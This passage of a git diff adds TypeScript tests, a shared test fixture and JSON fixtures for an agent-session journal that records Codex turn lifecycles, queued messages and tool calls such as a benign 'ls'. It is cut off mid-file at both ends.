expect(readAgentJournalTurnOutcome(readAgentJournalTurn(body))).toBeNull() + }) + + it('stamps the host clock when a boundary arrives without a receipt time', () => { + const tap = recorder() + let clock = 10_000 + const translator = translatorFor(tap, () => (clock += 250)) + + translator.handle(notification('turn/started', { turn: { id: TURN_ID } })) + translator.handle(notification('turn/completed', { turn: { id: TURN_ID } })) + + expect(tap.rows.map((row) => row.body)).toMatchObject([ + { kind: 'turn', state: 'running', startedAt: 10_250 }, + { kind: 'turn', state: 'completed', startedAt: 10_250, completedAt: 10_500 } + ]) + }) + + it('writes only the end time, and no duration, when Codex reports neither', () => { + const tap = recorder() + const translator = translatorFor(tap) + + translator.handle(notification('turn/completed', { turn: { id: TURN_ID } }, 3_000)) + + expect(tap.rows).toEqual([ + { + key: LIFECYCLE_KEY, + body: { + kind: 'turn', + turnId: TURN_ID, + state: 'completed', + userItemId: USER_ITEM_ID, + completedAt: 3_000 + } + } + ]) + }) + + it('replays an oversized backpressured notification with its original receipt time', async () => { + vi.useFakeTimers() + const connection = { + pauseReading: vi.fn(), + resumeReading: vi.fn() + } as unknown as CodexAppServerConnection + const translate = vi + .fn[0]['translate']>() + .mockReturnValueOnce({ accepted: false, reason: 'backpressure' }) + .mockReturnValue({ accepted: true }) + const retries = createCodexStructuredNotificationRetry({ + sessionFor: () => ({ connection, ended: false }) as CodexSession, + translate + }) + + expect( + retries.handle( + SESSION_ID, + 'turn/started', + { turn: { id: TURN_ID }, output: 'x'.repeat(9 * 1024 * 1024) }, + 1_000, + -1 + ) + ).toEqual({ accepted: false, reason: 'backpressure' }) + await vi.advanceTimersByTimeAsync(50) + + expect(translate.mock.calls.map((call) => call[4])).toEqual([1_000, 1_000]) + expect(translate.mock.calls.map((call) => call[5])).toEqual([-1, -1]) + expect(connection.resumeReading).not.toHaveBeenCalled() + }) +}) diff --git a/src/main/codex/codex-turn-lifecycle-contract-test-fixture.ts b/src/main/codex/codex-turn-lifecycle-contract-test-fixture.ts new file mode 100644 index 00000000000..8726041f89a --- /dev/null +++ b/src/main/codex/codex-turn-lifecycle-contract-test-fixture.ts @@ -0,0 +1,92 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, vi } from 'vitest' +import type { + AgentJournalItemBody, + AgentJournalItemIdentity +} from '../../shared/agent-session-journal-types' +import { agentJournalItemKey } from '../../shared/agent-session-journal-item-key' +import { createTrackedJournalOpener } from '../native-chat/agent-session-journal/journal-host-database-test-support' +import type { StructuredAgentSessionEventSink } from '../native-chat/agent-session-wire/structured-agent-session-event-sink' +import { createCodexJournalTranslator } from './codex-structured-journal-translation' +import type { CodexStructuredSessionEvent } from './codex-structured-session-adapter' + +export const SESSION_ID = 'session-1' + +export const THREAD_ID = 'thread-abc' + +export const TURN_ID = 'turn-1' + +export const LIFECYCLE_KEY = 'legacy:codex:session-1:turn-lifecycle%3Aturn-1' + +export const USER_ITEM_ID = 'codex:thread-abc:turn-1:0' + +export type Row = { key: string; body: AgentJournalItemBody } + +export function recorder() { + const rows: Row[] = [] + const tombstones: string[] = [] + const sink: StructuredAgentSessionEventSink = { + appendItem: (identity: AgentJournalItemIdentity, body) => + rows.push({ key: agentJournalItemKey(identity), body }), + appendTombstone: (identity) => tombstones.push(agentJournalItemKey(identity)), + publish: () => {} + } + return { sink, rows, tombstones } +} + +export function reduced(rows: readonly Row[]): Row[] { + const latest = new Map() + for (const row of rows) { + latest.set(row.key, row) + } + return [...latest.values()] +} + +export function notification( + method: string, + params: unknown, + observedAt?: number +): CodexStructuredSessionEvent { + return { + type: 'notification', + sessionId: SESSION_ID, + threadId: THREAD_ID, + method, + params, + ...(observedAt !== undefined ? { observedAt } : {}) + } +} + +export function translatorFor(tap: ReturnType, now?: () => number) { + return createCodexJournalTranslator({ + sink: tap.sink, + sessionId: SESSION_ID, + primaryThreadId: () => THREAD_ID, + ...(now ? { now } : {}) + }) +} + +export const journals = createTrackedJournalOpener() + +let root: string + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-codex-turn-lifecycle-')) +}) + +afterEach(async () => { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + vi.useRealTimers() +}) + +export const fixture = { + get root() { + return root + }, + set root(value: typeof root) { + root = value + } +} diff --git a/src/main/codex/codex-turn-lifecycle-history.test.ts b/src/main/codex/codex-turn-lifecycle-history.test.ts new file mode 100644 index 00000000000..6ba26dc3b67 --- /dev/null +++ b/src/main/codex/codex-turn-lifecycle-history.test.ts @@ -0,0 +1,138 @@ +import { describe, expect, it } from 'vitest' +import { createCodexJournalTranslator } from './codex-structured-journal-translation' + +import { THREAD_ID, recorder, translatorFor } from './codex-turn-lifecycle-contract-test-fixture' + +describe('codex turn lifecycle rows', () => { + it('restores historical turn rows with optional endpoints in milliseconds', () => { + const tap = recorder() + const translator = translatorFor(tap) + + expect( + translator.restoreThread(THREAD_ID, { + turns: [ + { + id: 'turn-done', + status: 'completed', + startedAt: 1_700_000_000, + completedAt: 1_700_000_042, + durationMs: 41_900, + items: [{ type: 'agentMessage', id: 'agent-done', text: 'done' }] + }, + { + id: 'turn-cut', + status: 'interrupted', + startedAt: 1_700_000_100, + completedAt: 1_700_000_101, + items: [] + }, + { + id: 'turn-failed', + status: 'failed', + startedAt: 1_700_000_150, + completedAt: 1_700_000_152, + durationMs: 2_400, + items: [] + }, + { + id: 'turn-unplaced', + status: 'someFutureStatus', + startedAt: 1_700_000_170, + completedAt: 1_700_000_171, + items: [] + }, + { id: 'turn-open', status: 'inProgress', startedAt: 1_700_000_200, items: [] }, + { id: 'turn-untimed', status: 'completed', items: [] } + ] + }) + ).toEqual({ accepted: true }) + + expect(tap.rows).toEqual([ + { + key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-done', + body: { + kind: 'turn', + turnId: 'turn-done', + state: 'completed', + outcome: 'success', + userItemId: 'codex:thread-abc:turn-done:0', + startedAt: 1_700_000_000_000, + completedAt: 1_700_000_042_000, + durationMs: 41_900 + } + }, + expect.objectContaining({ body: expect.objectContaining({ kind: 'message' }) }), + { + key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-cut', + body: { + kind: 'turn', + turnId: 'turn-cut', + state: 'interrupted', + outcome: 'cancellation', + userItemId: 'codex:thread-abc:turn-cut:0', + startedAt: 1_700_000_100_000, + completedAt: 1_700_000_101_000 + } + }, + { + key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-failed', + body: { + kind: 'turn', + turnId: 'turn-failed', + state: 'completed', + outcome: 'failure', + userItemId: 'codex:thread-abc:turn-failed:0', + startedAt: 1_700_000_150_000, + completedAt: 1_700_000_152_000, + durationMs: 2_400 + } + }, + { + key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-unplaced', + body: { + kind: 'turn', + turnId: 'turn-unplaced', + state: 'completed', + userItemId: 'codex:thread-abc:turn-unplaced:0', + startedAt: 1_700_000_170_000, + completedAt: 1_700_000_171_000 + } + }, + { + key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-open', + body: { + kind: 'turn', + turnId: 'turn-open', + state: 'completed', + userItemId: 'codex:thread-abc:turn-open:0', + startedAt: 1_700_000_200_000 + } + }, + { + key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-untimed', + body: { + kind: 'turn', + turnId: 'turn-untimed', + state: 'completed', + outcome: 'success', + userItemId: 'codex:thread-abc:turn-untimed:0' + } + } + ]) + expect(tap.tombstones).toEqual([]) + }) + + it('restores no lifecycle rows without a session identity to key them by', () => { + const tap = recorder() + const translator = createCodexJournalTranslator({ + sink: tap.sink, + primaryThreadId: () => THREAD_ID + }) + + translator.restoreThread(THREAD_ID, { + turns: [{ id: 'turn-done', status: 'completed', startedAt: 1, completedAt: 2, items: [] }] + }) + + expect(tap.rows).toEqual([]) + }) +}) diff --git a/src/main/jsonl-rpc/timeline-lane.test.ts b/src/main/jsonl-rpc/timeline-lane.test.ts index 8ef584d1ac3..dc1cc3ce468 100644 --- a/src/main/jsonl-rpc/timeline-lane.test.ts +++ b/src/main/jsonl-rpc/timeline-lane.test.ts @@ -116,6 +116,8 @@ describe('JSON-lines timeline admission', () => { await vi.advanceTimersByTimeAsync(250) await test.lane.drained() expect(test.lane.openTurnId).not.toBeNull() + // Close the journal's projection repair timer; leave the lane alive to detect retry leaks. + await test.journal.journal.close() expect(vi.getTimerCount()).toBe(0) }) diff --git a/src/main/native-chat/agent-session-journal/__fixtures__/journal-input-prefix.json b/src/main/native-chat/agent-session-journal/__fixtures__/journal-input-prefix.json new file mode 100644 index 00000000000..2d28523c716 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/__fixtures__/journal-input-prefix.json @@ -0,0 +1,456 @@ +{ + "sessionId": "session-1", + "epoch": "epoch-1", + "rows": [ + "{\"v\":2,\"kind\":\"epoch\",\"epoch\":\"epoch-1\",\"seq\":1,\"fence\":0,\"ts\":1001,\"reason\":\"session_created\",\"providerHandle\":{\"kind\":\"codex\",\"threadId\":\"thread-1\"},\"historyOrigin\":{\"version\":1,\"kind\":\"legacy_import\"}}", + "{\"v\":2,\"kind\":\"submission\",\"epoch\":\"epoch-1\",\"seq\":2,\"fence\":1,\"ts\":1002,\"clientMessageId\":\"send-1\",\"payloadFingerprint\":\"f1\",\"providerHandle\":{\"kind\":\"codex\",\"threadId\":\"thread-1\"},\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"handoverRecorded\":true,\"origin\":\"client\",\"options\":{\"model\":\"gpt-5\",\"effort\":\"high\",\"retired\":\"x\"}}", + "{\"v\":2,\"kind\":\"dispatch\",\"epoch\":\"epoch-1\",\"seq\":3,\"fence\":1,\"ts\":1003,\"clientMessageId\":\"send-1\",\"state\":\"pending\",\"providerItemId\":null,\"reason\":null,\"carries\":[]}", + "{\"v\":3,\"kind\":\"item\",\"epoch\":\"epoch-1\",\"seq\":4,\"fence\":1,\"ts\":1004,\"itemId\":\"codex:thread-1:turn-1:0\",\"revision\":1,\"turnScope\":{\"kind\":\"thread\"},\"ownerFence\":1,\"body\":{\"kind\":\"turn\",\"turnId\":\"turn-1\",\"state\":\"running\",\"userItemId\":\"orca:send-1\",\"startedAt\":1004,\"requestedAt\":1002}}", + "{\"v\":2,\"kind\":\"dispatch\",\"epoch\":\"epoch-1\",\"seq\":5,\"fence\":1,\"ts\":1005,\"clientMessageId\":\"send-1\",\"state\":\"accepted\",\"providerItemId\":\"codex:thread-1:turn-1:1\",\"reason\":null,\"answeredInTurn\":{\"turnItemId\":\"codex:thread-1:turn-1:0\",\"via\":\"start\"}}", + "{\"v\":2,\"kind\":\"item\",\"epoch\":\"epoch-1\",\"seq\":6,\"fence\":1,\"ts\":1006,\"itemId\":\"codex:thread-1:turn-1:2\",\"revision\":1,\"turnScope\":{\"kind\":\"turn\",\"turnItemId\":\"codex:thread-1:turn-1:0\"},\"body\":{\"kind\":\"message\",\"role\":\"assistant\",\"blocks\":[{\"type\":\"text\",\"text\":\"Reading\"},{\"type\":\"tool-call\",\"name\":\"Read\",\"input\":{\"path\":\"a.ts\"},\"callId\":\"call-1\"},{\"type\":\"tool-result\",\"output\":\"ok\",\"callId\":\"call-1\"}]}}", + "{\"v\":2,\"kind\":\"item\",\"epoch\":\"epoch-1\",\"seq\":7,\"fence\":1,\"ts\":1007,\"itemId\":\"codex:thread-1:turn-1:3\",\"revision\":1,\"turnScope\":{\"kind\":\"turn\",\"turnItemId\":\"codex:thread-1:turn-1:0\"},\"agentId\":\"child-1\",\"producerKind\":\"agent\",\"body\":{\"kind\":\"tool-call\",\"name\":\"shell\",\"input\":{\"command\":\"ls\"},\"callId\":\"call-2\",\"state\":\"running\"}}", + "{\"v\":2,\"kind\":\"lifecycle-batch\",\"epoch\":\"epoch-1\",\"seq\":8,\"fence\":1,\"ts\":1008,\"settlementId\":\"settle-1\",\"mutations\":[{\"kind\":\"item\",\"itemId\":\"codex:thread-1:turn-1:3\",\"revision\":2,\"body\":{\"kind\":\"tool-call\",\"name\":\"shell\",\"input\":{\"command\":\"ls\"},\"callId\":\"call-2\",\"state\":\"completed\",\"endedAs\":\"completed\",\"exitCode\":0},\"turnScope\":{\"kind\":\"turn\",\"turnItemId\":\"codex:thread-1:turn-1:0\"},\"agentId\":\"child-1\",\"producerKind\":\"agent\"},{\"kind\":\"tombstone\",\"itemId\":\"codex:thread-1:turn-1:2\",\"revision\":2}]}", + "{\"v\":4,\"kind\":\"queue\",\"epoch\":\"epoch-1\",\"seq\":9,\"fence\":1,\"ts\":1009,\"messageId\":\"card-1\",\"change\":{\"op\":\"queued\",\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"position\":1,\"queuedAt\":{\"epoch\":\"epoch-1\",\"sequence\":9},\"options\":{\"model\":\"gpt-5\"}}}", + "{\"v\":4,\"kind\":\"queue\",\"epoch\":\"epoch-1\",\"seq\":10,\"fence\":1,\"ts\":1010,\"messageId\":\"card-1\",\"change\":{\"op\":\"edited\",\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate both\"}]}}}", + "{\"v\":4,\"kind\":\"queue\",\"epoch\":\"epoch-1\",\"seq\":11,\"fence\":1,\"ts\":1011,\"messageId\":\"card-2\",\"change\":{\"op\":\"queued\",\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"position\":2,\"queuedAt\":{\"epoch\":\"epoch-1\",\"sequence\":11}}}", + "{\"v\":4,\"kind\":\"queue\",\"epoch\":\"epoch-1\",\"seq\":12,\"fence\":1,\"ts\":1012,\"messageId\":\"card-2\",\"change\":{\"op\":\"moved\",\"position\":0}}", + "{\"v\":2,\"kind\":\"tombstone\",\"epoch\":\"epoch-1\",\"seq\":13,\"fence\":1,\"ts\":1013,\"itemId\":\"orca:stop-13\",\"revision\":1,\"stopEvent\":{\"reason\":\"user-stop\",\"turnId\":\"turn-1\",\"at\":1013,\"caller\":\"client\"}}", + "{\"v\":3,\"kind\":\"item\",\"epoch\":\"epoch-1\",\"seq\":14,\"fence\":1,\"ts\":1014,\"itemId\":\"codex:thread-1:turn-1:0\",\"revision\":2,\"turnScope\":{\"kind\":\"thread\"},\"ownerFence\":1,\"body\":{\"kind\":\"turn\",\"turnId\":\"turn-1\",\"state\":\"interrupted\",\"userItemId\":\"orca:send-1\",\"startedAt\":1004,\"requestedAt\":1002,\"completedAt\":1014,\"contextUsage\":{\"window\":{\"tokens\":200000,\"capturedAt\":1014},\"used\":{\"kind\":\"estimate\",\"usage\":{\"inputTokens\":10,\"cacheCreationInputTokens\":0,\"cacheReadInputTokens\":0,\"outputTokens\":5},\"capturedAt\":1014}}}}", + "{\"v\":4,\"kind\":\"queue\",\"epoch\":\"epoch-1\",\"seq\":15,\"fence\":1,\"ts\":1015,\"messageId\":\"card-2\",\"change\":{\"op\":\"held\",\"holdReason\":\"send_failed\"}}", + "{\"v\":2,\"kind\":\"tombstone\",\"epoch\":\"epoch-1\",\"seq\":16,\"fence\":1,\"ts\":1016,\"itemId\":\"orca:resume-16\",\"revision\":1,\"queueResume\":true}", + "{\"v\":2,\"kind\":\"item\",\"epoch\":\"epoch-1\",\"seq\":17,\"fence\":1,\"ts\":1017,\"itemId\":\"codex:thread-1:turn-2:0\",\"revision\":1,\"turnScope\":{\"kind\":\"thread\"},\"body\":{\"kind\":\"approval\",\"title\":\"Run shell?\",\"detail\":null,\"options\":[{\"id\":\"yes\",\"label\":\"Yes\"}],\"subject\":{\"kind\":\"plan\",\"text\":\"Plan\"},\"resolution\":{\"state\":\"approved\",\"selectedOptionId\":\"yes\",\"resolvedBy\":\"client\",\"resolvedAt\":1017}}}", + "{\"v\":4,\"kind\":\"queue\",\"epoch\":\"epoch-1\",\"seq\":18,\"fence\":1,\"ts\":1018,\"messageId\":\"card-1\",\"change\":{\"op\":\"withdrawn\"}}", + "{\"v\":2,\"kind\":\"item\",\"epoch\":\"epoch-1\",\"seq\":19,\"fence\":1,\"ts\":1019,\"itemId\":\"codex:thread-1:turn-2:1\",\"revision\":1,\"turnScope\":{\"kind\":\"thread\"},\"body\":{\"kind\":\"status\",\"text\":\"The agent stopped.\",\"failure\":{\"kind\":\"providerExited\",\"detail\":{\"text\":\"exit 1\",\"audience\":\"log\"}}}}", + "{\"kind\":\"item\",\"itemId\":\"codex:thread-1:turn-3:0\",\"revision\":1,\"body\":{\"kind\":\"turn\",\"turnId\":\"turn-3\",\"state\":\"running\"},\"v\":3,\"epoch\":\"epoch-1\",\"seq\":20,\"fence\":1,\"ts\":1020,\"ownerFence\":1,\"executionOwner\":2,\"turnScope\":{\"kind\":\"thread\"}}", + "{\"kind\":\"item\",\"echoOf\":null,\"itemId\":\"codex:thread-1:turn-3:1\",\"revision\":1,\"body\":{\"kind\":\"message\",\"role\":\"assistant\",\"blocks\":[{\"type\":\"text\",\"text\":\"Echoed\"}]},\"v\":2,\"epoch\":\"epoch-1\",\"seq\":21,\"fence\":1,\"ts\":1021,\"ownerFence\":1,\"turnScope\":{\"kind\":\"turn\",\"turnItemId\":\"codex:thread-1:turn-3:0\"}}", + "{\"kind\":\"item\",\"itemId\":\"codex:thread-1:turn-4:0\",\"revision\":1,\"body\":{\"kind\":\"turn\",\"turnId\":\"turn-4\",\"state\":\"running\"},\"v\":3,\"epoch\":\"epoch-1\",\"seq\":22,\"fence\":1,\"ts\":1022,\"ownerFence\":1,\"turnScope\":{\"kind\":\"thread\"}}", + "{\"kind\":\"tombstone\",\"itemId\":\"codex:thread-1:turn-4:0\",\"revision\":2,\"v\":2,\"epoch\":\"epoch-1\",\"seq\":23,\"fence\":1,\"ts\":1023}", + "{\"kind\":\"queue\",\"messageId\":\"card-3\",\"change\":{\"op\":\"queued\",\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Hand this over\"}]},\"position\":2,\"queuedAt\":{\"epoch\":\"epoch-1\",\"sequence\":23}},\"v\":4,\"epoch\":\"epoch-1\",\"seq\":24,\"fence\":1,\"ts\":1024}", + "{\"kind\":\"submission\",\"clientMessageId\":\"send-2\",\"payloadFingerprint\":\"d6988eb76aa81c64728f527ffa51b1ff309e9657db975fd77f115c01e7da3f61\",\"providerHandle\":{\"kind\":\"codex\",\"threadId\":\"thread-1\"},\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Hand this over\"}]},\"v\":2,\"epoch\":\"epoch-1\",\"seq\":25,\"fence\":1,\"ts\":1025,\"handoverRecorded\":true,\"queuedMessageId\":\"card-3\"}", + "{\"kind\":\"dispatch\",\"clientMessageId\":\"send-2\",\"state\":\"pending\",\"providerItemId\":null,\"reason\":null,\"v\":2,\"epoch\":\"epoch-1\",\"seq\":26,\"fence\":1,\"ts\":1026,\"turnScope\":{\"kind\":\"thread\"},\"carries\":[\"send-1\"]}", + "{\"kind\":\"dispatch\",\"clientMessageId\":\"send-2\",\"state\":\"rejected\",\"providerItemId\":null,\"reason\":\"provider_cancelled_before_start\",\"rejection\":{\"kind\":\"cancelled\"},\"answeredInTurn\":null,\"v\":2,\"epoch\":\"epoch-1\",\"seq\":27,\"fence\":1,\"ts\":1027}" + ], + "expected": { + "sessionId": "session-1", + "epoch": "epoch-1", + "lastSequence": 27, + "lastActivityAt": 1027, + "oldestSequence": 1, + "highestFence": 1, + "items": [ + [ + "orca:send-1", + { + "itemId": "orca:send-1", + "revision": 0, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Please investigate" + } + ] + }, + "sequence": 3, + "observedAt": 1003, + "turnScope": { + "kind": "thread" + } + } + ], + [ + "codex:thread-1:turn-1:0", + { + "itemId": "codex:thread-1:turn-1:0", + "revision": 2, + "body": { + "kind": "turn", + "turnId": "turn-1", + "state": "interrupted", + "userItemId": "orca:send-1", + "startedAt": 1004, + "requestedAt": 1002, + "completedAt": 1014, + "contextUsage": { + "window": { + "tokens": 200000, + "capturedAt": 1014 + }, + "used": { + "kind": "estimate", + "usage": { + "inputTokens": 10, + "cacheCreationInputTokens": 0, + "cacheReadInputTokens": 0, + "outputTokens": 5 + }, + "capturedAt": 1014 + } + } + }, + "sequence": 4, + "observedAt": 1004, + "turnScope": { + "kind": "thread" + } + } + ], + [ + "codex:thread-1:turn-1:3", + { + "itemId": "codex:thread-1:turn-1:3", + "revision": 2, + "body": { + "kind": "tool-call", + "name": "shell", + "input": { + "command": "ls" + }, + "callId": "call-2", + "state": "completed", + "endedAs": "completed", + "exitCode": 0 + }, + "sequence": 7, + "observedAt": 1007, + "turnScope": { + "kind": "turn", + "turnItemId": "codex:thread-1:turn-1:0" + }, + "agentId": "child-1", + "producerKind": "agent" + } + ], + [ + "codex:thread-1:turn-2:0", + { + "itemId": "codex:thread-1:turn-2:0", + "revision": 1, + "body": { + "kind": "approval", + "title": "Run shell?", + "detail": null, + "options": [ + { + "id": "yes", + "label": "Yes" + } + ], + "subject": { + "kind": "plan", + "text": "Plan" + }, + "resolution": { + "state": "approved", + "selectedOptionId": "yes", + "resolvedBy": "client", + "resolvedAt": 1017 + } + }, + "sequence": 17, + "observedAt": 1017, + "turnScope": { + "kind": "thread" + } + } + ], + [ + "codex:thread-1:turn-2:1", + { + "itemId": "codex:thread-1:turn-2:1", + "revision": 1, + "body": { + "kind": "status", + "text": "The agent stopped.", + "failure": { + "kind": "providerExited", + "detail": { + "text": "exit 1", + "audience": "log" + } + } + }, + "sequence": 19, + "observedAt": 1019, + "turnScope": { + "kind": "thread" + } + } + ], + [ + "codex:thread-1:turn-3:0", + { + "itemId": "codex:thread-1:turn-3:0", + "revision": 1, + "body": { + "kind": "turn", + "turnId": "turn-3", + "state": "running" + }, + "sequence": 20, + "observedAt": 1020, + "turnScope": { + "kind": "thread" + } + } + ], + [ + "codex:thread-1:turn-3:1", + { + "itemId": "codex:thread-1:turn-3:1", + "revision": 1, + "body": { + "kind": "message", + "role": "assistant", + "blocks": [ + { + "type": "text", + "text": "Echoed" + } + ] + }, + "sequence": 21, + "observedAt": 1021, + "turnScope": { + "kind": "turn", + "turnItemId": "codex:thread-1:turn-3:0" + } + } + ], + [ + "orca:send-2", + { + "itemId": "orca:send-2", + "revision": 0, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Hand this over" + } + ] + }, + "sequence": 26, + "observedAt": 1026, + "turnScope": { + "kind": "thread" + } + } + ] + ], + "itemFences": [ + ["orca:send-1", 1], + ["codex:thread-1:turn-1:0", 1], + ["codex:thread-1:turn-1:3", 1], + ["codex:thread-1:turn-2:0", 1], + ["codex:thread-1:turn-2:1", 1], + ["codex:thread-1:turn-3:0", 1], + ["codex:thread-1:turn-3:1", 1], + ["orca:send-2", 1] + ], + "itemExecutionOwners": [["codex:thread-1:turn-3:0", 2]], + "providerActivityAt": [ + [1, 1022], + [2, 1020] + ], + "tombstones": [ + ["codex:thread-1:turn-1:2", 2], + ["codex:thread-1:turn-4:0", 2] + ], + "removedTurnIds": ["turn-4"], + "submissions": [ + [ + "send-1", + { + "clientMessageId": "send-1", + "fence": 1, + "payloadFingerprint": "f1", + "dispatchState": "accepted", + "providerItemId": "codex:thread-1:turn-1:1", + "reason": null, + "submittedAt": 1002, + "resolvedAt": 1005, + "submittedSequence": 2, + "handoverRecorded": true, + "acceptedSequence": 2, + "origin": "client", + "options": { + "model": "gpt-5", + "effort": "high" + }, + "handedOverAt": 1003 + } + ], + [ + "send-2", + { + "clientMessageId": "send-2", + "fence": 1, + "payloadFingerprint": "d6988eb76aa81c64728f527ffa51b1ff309e9657db975fd77f115c01e7da3f61", + "dispatchState": "rejected", + "providerItemId": null, + "reason": "provider_cancelled_before_start", + "submittedAt": 1025, + "resolvedAt": 1027, + "submittedSequence": 25, + "handoverRecorded": true, + "acceptedSequence": 25, + "handedOverAt": 1026, + "rejection": { + "kind": "cancelled" + }, + "answeredInTurn": null + } + ] + ], + "receipts": [ + [ + "send-1", + { + "clientMessageId": "send-1", + "providerItemId": "codex:thread-1:turn-1:1", + "cursor": { + "epoch": "epoch-1", + "sequence": 5 + }, + "acceptedAt": 1005 + } + ] + ], + "aliases": [["codex:thread-1:turn-1:1", "orca:send-1"]], + "itemEchoes": [["codex:thread-1:turn-3:1", null]], + "appliedSettlementIds": ["settle-1"], + "derivedTurnScope": null, + "latestAcceptedTurnSequence": 2, + "queuePauseMarks": { + "latestStop": { + "sequence": 13, + "event": { + "reason": "user-stop", + "turnId": "turn-1", + "at": 1013, + "caller": "client" + } + }, + "resumedSequence": 16, + "reopenedSequence": 0 + }, + "stoppedHistoryCarried": [["send-2", ["send-1"]]], + "queuedHandOffPlaces": [ + [ + "send-2", + { + "sequence": 26, + "observedAt": 1026, + "turnScope": { + "kind": "thread" + } + } + ] + ], + "normalizedHandOffs": ["send-2"], + "queue": { + "revision": 8, + "cards": [ + [ + "card-1", + { + "messageId": "card-1", + "position": 1, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Please investigate both" + } + ] + }, + "fingerprint": "62f92d8004a31a5be6ee414930186d2097897cbbbb53e1e3607e6b2719b912f9", + "state": "withdrawn", + "holdReason": null, + "returnedReason": null, + "returnedRejection": null, + "consumedAs": null, + "queuedAt": { + "epoch": "epoch-1", + "sequence": 9 + }, + "options": { + "model": "gpt-5" + } + } + ], + [ + "card-2", + { + "messageId": "card-2", + "position": 0, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Please investigate" + } + ] + }, + "fingerprint": "56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571", + "state": "waiting", + "holdReason": "send_failed", + "returnedReason": null, + "returnedRejection": null, + "consumedAs": null, + "queuedAt": { + "epoch": "epoch-1", + "sequence": 11 + } + } + ], + [ + "card-3", + { + "messageId": "card-3", + "position": 2, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Hand this over" + } + ] + }, + "fingerprint": "d6988eb76aa81c64728f527ffa51b1ff309e9657db975fd77f115c01e7da3f61", + "state": "dispatched", + "holdReason": null, + "returnedReason": null, + "returnedRejection": null, + "consumedAs": "send-2", + "queuedAt": { + "epoch": "epoch-1", + "sequence": 23 + } + } + ] + ] + }, + "historyOrigin": { + "providerHandle": { + "kind": "codex", + "threadId": "thread-1" + }, + "raw": { + "version": 1, + "kind": "legacy_import" + } + } + } +} diff --git a/src/main/native-chat/agent-session-journal/__fixtures__/journal-outcome-format-1-values.json b/src/main/native-chat/agent-session-journal/__fixtures__/journal-outcome-format-1-values.json new file mode 100644 index 00000000000..1c8d4af930d --- /dev/null +++ b/src/main/native-chat/agent-session-journal/__fixtures__/journal-outcome-format-1-values.json @@ -0,0 +1,1178 @@ +[ + [ + "items", + "\"item-0\"", + { + "itemId": "item-0", + "revision": 1, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Stopped", + "presentation": "status", + "tone": "warning", + "providerFrame": { + "provider": "codex", + "kind": "event", + "payload": { + "head": "{}", + "byteLength": 2, + "digest": "d", + "truncated": false + } + }, + "contextClear": { + "operationId": "clear-1", + "afterFence": 1, + "clearedAt": 4 + }, + "failure": { + "kind": "startFailed", + "account": "managed", + "detail": { + "text": "model not found", + "audience": "log" + }, + "refusal": { + "code": "agent_session_operation_invalid", + "details": { + "reason": "providerStartFailed", + "ownerVerdict": "exited", + "rewindReason": "turnActive", + "account": "system", + "argumentProblem": { + "agent": "Codex", + "option": "--model", + "problem": "missingValue" + }, + "agent": "codex", + "agentInstallation": { + "agent": "codex", + "installedVersion": "0.1.0", + "minimumVersion": "0.2.0" + }, + "codexInstallation": { + "installedVersion": null, + "minimumVersion": "0.2.0" + }, + "currentFence": 3, + "currentRevision": 2, + "resolution": { + "state": "approved", + "selectedOptionId": "yes", + "answers": [ + { + "questionId": "q", + "optionIds": ["a"], + "other": "x" + } + ], + "resolvedBy": "client", + "resolvedAt": 5 + }, + "owner": { + "sessionId": "session-2", + "workspaceId": "ws-2" + } + } + }, + "attachment": { + "reason": "tooLarge", + "limit": 10 + }, + "retry": { + "error": "overloaded", + "status": 529, + "cause": "busy", + "attempt": 1, + "maxRetries": 3 + }, + "usageLimit": { + "window": "fiveHour", + "resetsAt": 1000 + }, + "argumentProblem": { + "agent": "Claude", + "option": "-p", + "problem": "positionalPrompt" + }, + "neverReachedAgent": true, + "backgroundStop": "all", + "requestTimeout": { + "method": "thread/start", + "timeoutMs": 30000 + } + }, + "orcaStop": { + "cause": "user", + "turnItemId": "turn-item" + }, + "usageLimitTurnItemId": "turn-item" + }, + { + "type": "tool-call", + "name": "shell", + "input": { + "command": ["ls"] + }, + "callId": "call-1", + "state": "completed", + "endedAs": "completed", + "mcpIdentity": { + "server": "s", + "tool": "t" + }, + "exitCode": 0, + "durationMs": 5, + "webSearchResults": [ + { + "title": "t", + "url": "https://example.com" + } + ] + }, + { + "type": "tool-result", + "output": "ok", + "isError": false, + "callId": "call-1", + "fullOutputItemId": "full-1", + "editPatch": { + "filePath": "a.ts", + "hunks": [ + { + "oldStart": 1, + "oldLines": 1, + "newStart": 1, + "newLines": 2, + "lines": ["-a", "+a", "+b"] + } + ] + } + }, + { + "type": "image-ref", + "path": "/tmp/a.png", + "alt": "a" + }, + { + "type": "subagent-group", + "groupId": "g", + "agents": [ + { + "id": "c", + "label": "child", + "state": "working", + "tokens": 1, + "startedAt": 1, + "settledAt": 2 + } + ] + }, + { + "type": "subagent", + "id": "c", + "label": "child", + "state": "completed", + "groupId": "g", + 